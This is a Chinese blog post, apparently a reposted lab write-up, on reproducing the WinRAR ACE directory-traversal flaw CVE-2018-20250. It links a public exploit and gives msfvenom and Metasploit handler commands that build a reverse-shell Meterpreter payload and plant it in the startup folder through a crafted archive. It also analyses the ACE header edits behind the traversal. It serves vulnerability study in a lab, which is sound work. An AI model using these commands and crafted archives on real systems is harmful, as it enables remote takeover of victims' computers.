CVE-2018-20250 winrar

爆出来时候想着复现一下,拖到现在已经快一个月了(っ °Д °;)っ,正好在网上看见了有虚拟机直接可以复现学习一波。以下复制粘贴~

漏洞背景

      2019 年 2 月 20 日 Check Point团队爆出了一个关于WinRAR存在19年的漏洞,用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件,当受害者使用WinRAR解压该恶意文件时便会触发漏洞。

      WinRAR 代码执行相关的 CVE 编号如下:

      CVE-2018-20250, CVE-2018-20251, CVE-2018-20252,CVE-2018-20253

      该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在 2006 年被编译,没有任何的基础保护机制(ASLR, DEP 等)。该动态链接库的作用是处理 ACE 格式文件。在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致目录穿越漏洞,允许解压过程写入文件至开机启动项,导致代码执行。

漏洞利用条件:

      攻击不能跨盘符,即受害者进行解压文件触发漏洞时,必须在系统盘,且在不知道计算机主机名的情况下,只能在主浏览器的默认下载路径下或者桌面进行解压。

      WinAce:一款来自德国的绝对强悍的压缩和解压缩程序,功能及支持格式相当齐全,功能方面包括压缩与解压缩之外、还有分片压缩、加密功能、支持鼠标右键快显功能,建立自动解压缩等,支持的格式更丰富包括程序本身的ACE及ZIP、RAR、LZH、ARJ、TAR、CAB、LHA、GZIP等,几乎常用的程序都支持,另 WinACE可预设压缩及解压缩路径、编辑程序、扫毒程序等。


      在漏洞公开后两天内,网络上便有了相关的exp。

      公开的exp地址:

      url:https://github.com/WyAtu/CVE-2018-20250

      利用网上提供的exp,使用计算器弹出程序,模拟恶意软件,进行漏洞的验证。若存在漏洞,目标主机重启之后会弹出计算器。


实验环境

  攻击机:KALI Linux IP:10.1.1.100

  目标机:Windows10_64(安装Winrar、WinAce、HxD或者其他二进制编辑器)


复现:

  1. 安装WinRAR之后使用EXP.py脚本 自动创建test.rar 测试压缩包
  2. 运行acefile.py检查文件结构(此步非必须,对攻击无影响)   
  3. 将测试文件移动到桌面(由于此漏洞的条件限制,攻击行为不能跨盘符,所以需要将文件移动到桌面或者是火狐、chrom、IE等浏览器的默认下载路径,又或是你已经知道目标主机的主机名,但是解压仍然是需要在目标的系统盘中进行)
  4. 打开电脑的启动文件夹:(Win+R或开始菜单鼠标右键->运行 shell:startup )                                                                                                                                                                         此时文件夹为空:   
  5. 开始解压测试文件
  6. 解压完之后会看到启动目录下多出来一个“hi.exe” 
  7.  重启电脑,弹窗成功:(CMD里运行重启命令shutdown -r -t 0,重启后需要刷新一下浏览器重新进入实验机)

利用:

        配合msf进行漏洞利用。

         我们要使用msfvenom生成一个远程控制程序,然后利用exp将这个程序写进压缩包,发送给目标主机,目标主机在不知情的情况下解压文件,就会感染恶意程序,然后在目标主机重启之后,恶意程序会自启动,我们使用kali就可以远程连接。

  1.   启动postgresql数据库  service postgresql start

  2.   使用msfvenom生成一个远程控制程序,首先筛选出我们可用的payload,如图便是我们全部可用的payload(目标主机为64位win10):

      msfvenom -l | grep x64 | grep windows | grep tcp                                     

       

  

  3.查看本机的IP地址(攻击机):                                                                                  

       

  4.生成远程控制程序,我们使用的payload是“windows/x64/meterpreter/reverse_tcp”,lhost的值为攻击机的主机地址:

      msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.1.1.100 lport=1234 -f exe -o /root/muma.exe

  5.在kali中下载exp并解压:unzip CVE-2018-20250.zip

  6.将我们生成的muma.exe移动到exp的文件夹下并修改代码:                

       

  7.   运行exp生成包含恶意文件的压缩包,当我们直接运行exp时,会出现错误,这是因为代码中python的调用方式只适合在windows中使用,要在linux中使用,我们需要将原来的“py -3”更改为“python3”

        

    8.   我们用python开启一个简单的http服务: python -m SimpleHTTPServer

  9.   然后使用目标机将文件“test.rar”下载下来,并将其移动到桌面。

  

  10.我们再切换到kali中,打开msfconsole,进行如下设置:

        use exploit/multi/handler

        set payload windows/x64/meterpreter/reverse_tcp

        set lhost 10.1.1.100

        set lport 1234

   

   11. 在windows中使用winrar解压test.rar(在桌面解压),会发现启动目录下多出了hi.exe

  12  我们重启windows:shutdown -r -t 10

  13. 此时再查看kali,已经可以远程控制了:

  

我们尝试关闭目标主机:shutdown -r -t 60       切换到目标主机会有如下提示,可见命令执行成功:

    

     

   执行其他命令,也会有返回信息:

      

  


漏洞的原理分析(ACE文件分析):

      了解ACE文件,使用WinAce创建一个ACE文件,我们这里使用test.txt文件(自己创建,内容随意),生成的文件名为test.ace:

1.   安装好WinAce之后,打开WinAce,点击“return to WinAce”

      

 

      选择“create”,便可以开始选择想要压缩的文件

      

      

      

 

 

 

      使用二进制编辑器HxD查看ACE文件格式:

      

 

      如上图中,

      红色框内为:hdr_crc的值:0x8E24

      橙色框内为:filename:即文件的名字,包括其路径。

      绿色框内为:文件的内容。

      橙色框之前的“1F00”为filename的长度,取值“0x001F”,十进制为31

      

 

      如图选中的内容为:广告

      后面的红色框中的内容也是hdr_crc

      绿色框中的为hdr_size,代表头部大小

      我们开始修改其内容,假设我们要达到的效果是解压后将其自动解压到启动项里。

2.   首先,复制启动项的目录:

      

 

      稍作修改:

      

 

3.   粘贴到ACE文件中

      

 

4.   修改filename的长度

      

 

5.   修改hdr_size:

      

 

6.   使用acefile.py解析ace文件,可以看到报错,需要我们修改hdr_crc,并告诉了我们正确的hdr_crc

      

      

 

 

7.   再次解析之后,成功解析:

      

 

8.   将test.ace文件移动到桌面,右键点击使用winrar解压到当前文件夹。

9.   之后在桌面上并没有发现解压的文件,打开启动目录,会发现文件被解压到启动目录下:

      

 

10.  至此我们便可以知道此漏洞利用的原理,因为winrar在解析ACE文件的时候,会根据文件的路径来进行解压,所以根据这一点来构造路径,从而触发目录穿越将恶意文件解压到启动文件夹内。

 

参考文章:

https://ti.360.net/advisory/articles/360ti-sv-2019-0009-winrar-rce/

https://www.anquanke.com/post/id/171403

https://research.checkpoint.com/extracting-code-execution-from-winrar/

https://www.360zhijia.com/360dongtai/444936.html

http://www.hetianlab.com/expc.do?ec=ECIDa553-501d-4d4e-97dd-70eec3752240

原文地址:https://www.cnblogs.com/threesoil/p/10534280.html